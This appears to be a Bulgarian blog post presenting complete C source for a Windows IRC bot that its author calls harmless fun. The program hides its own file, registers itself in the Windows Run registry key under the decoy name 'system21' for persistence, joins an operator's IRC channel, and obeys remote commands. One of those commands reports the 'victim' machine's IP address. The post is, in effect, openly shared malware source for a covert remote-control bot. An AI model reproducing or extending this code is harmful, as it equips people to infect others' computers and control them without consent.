неделя, 15 ноември 2009 г.

Прост IRC бот



Направих го просто фор фун :P
Бота има само три функций:

MsgBox Va6etoSaob6tenie -> Извежда MessageBox()

IP -> Дава ви IPa на жертвата

beep 1 -> Кара компютъра на жертвата да пивка

При стартирането бота се добавя към програмите които се зареждат с Уиндоус и се стартира всеки път при стартиране на Уиндоуса :)

#include windows.h

struct in_addr GetIP();
struct in_addr GetIP() {
char temp[80];
struct hostent * hostent_ptr;
struct in_addr addr;
gethostname(temp,80);
hostent_ptr = gethostbyname(temp);
int i = 0;
while (hostent_ptr->h_addr_list[i] != 0) {
addr.s_addr = *(u_long *) hostent_ptr->h_addr_list[i++];
}
return addr;
}

int main() {

struct in_addr addr;
SOCKADDR_IN sin;
SOCKET sock;
char Nick[100] = “LamerzBot”,*Channel = “#YOUR CHANNEL NAME HERE”,*ircServer = “YOUR IRC SERVER IP HERE”,*ptr,*Username = “LamerzBot”,*myaddr;
int Len,LenInBytes,port = 6667,i;
char recvBuff[4096],sendBuff[4096],FilePath[MAX_PATH];
HKEY KeyHandle;
WSADATA WSAData;

WSAStartup(MAKEWORD(2,0), &WSAData);

Len = GetModuleFileName(NULL,FilePath,MAX_PATH);
SetFileAttributes(FilePath,FILE_ATTRIBUTE_HIDDEN);
LenInBytes = Len * sizeof(*FilePath);
RegOpenKeyEx(HKEY_LOCAL_MACHINE,”Software\\Microsoft\\Windows\\CurrentVersion\\Run”,0,KEY_ALL_ACCESS,&KeyHandle);
RegSetValueEx (KeyHandle,”system21″,0,REG_SZ,(LPBYTE)FilePath,LenInBytes);
RegCloseKey(KeyHandle);

sock = socket(AF_INET, SOCK_STREAM, 0);
memset( &sin,0,sizeof sin);
sin.sin_addr.s_addr = inet_addr(ircServer);
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
connect(sock, (SOCKADDR *)&sin, sizeof(sin));

addr = GetIP(); /*Get The Ip in network byte order */

myaddr = (char *) malloc (sizeof(addr));
myaddr = inet_ntoa(addr);

memset(sendBuff,0,255);
sprintf(sendBuff,”USER %s \”\” \”\” :%s%c”,Username,Nick,10); /* */
send(sock,sendBuff,strlen(sendBuff),0);

memset(sendBuff,0,255);
sprintf(sendBuff,”NICK %s%c”,Nick,10); /* [ ] */
send(sock,sendBuff,strlen(sendBuff),0);

Sleep(100);

memset(sendBuff,0,255);
sprintf(sendBuff,”JOIN %s%c”,Channel,10); /*{,} [{,}] */
send(sock,sendBuff,strlen(sendBuff),0);

while(1) {
memset(recvBuff,0,255);
recv(sock,recvBuff,255,0);
if (strstr(recvBuff,”PING”) != 0 ) { send (sock,”PONG :\r\n”,6,0); }
if((ptr = strstr(recvBuff,”MsgBox”)) != 0) { ptr += 7; MessageBox(0,ptr,”Its Just A Game…”,MB_SYSTEMMODAL); }
if((ptr = strstr(recvBuff,”beep”)) != 0) { ptr += 5; Beep(2000,(int)*ptr); }
if(strstr(recvBuff,”IP”) !=0) { sprintf(sendBuff,”PRIVMSG %s :%s%c”,Channel,myaddr,10);
send(sock,sendBuff,strlen(sendBuff),0); }
}
return 0;
}

Няма коментари:

Публикуване на коментар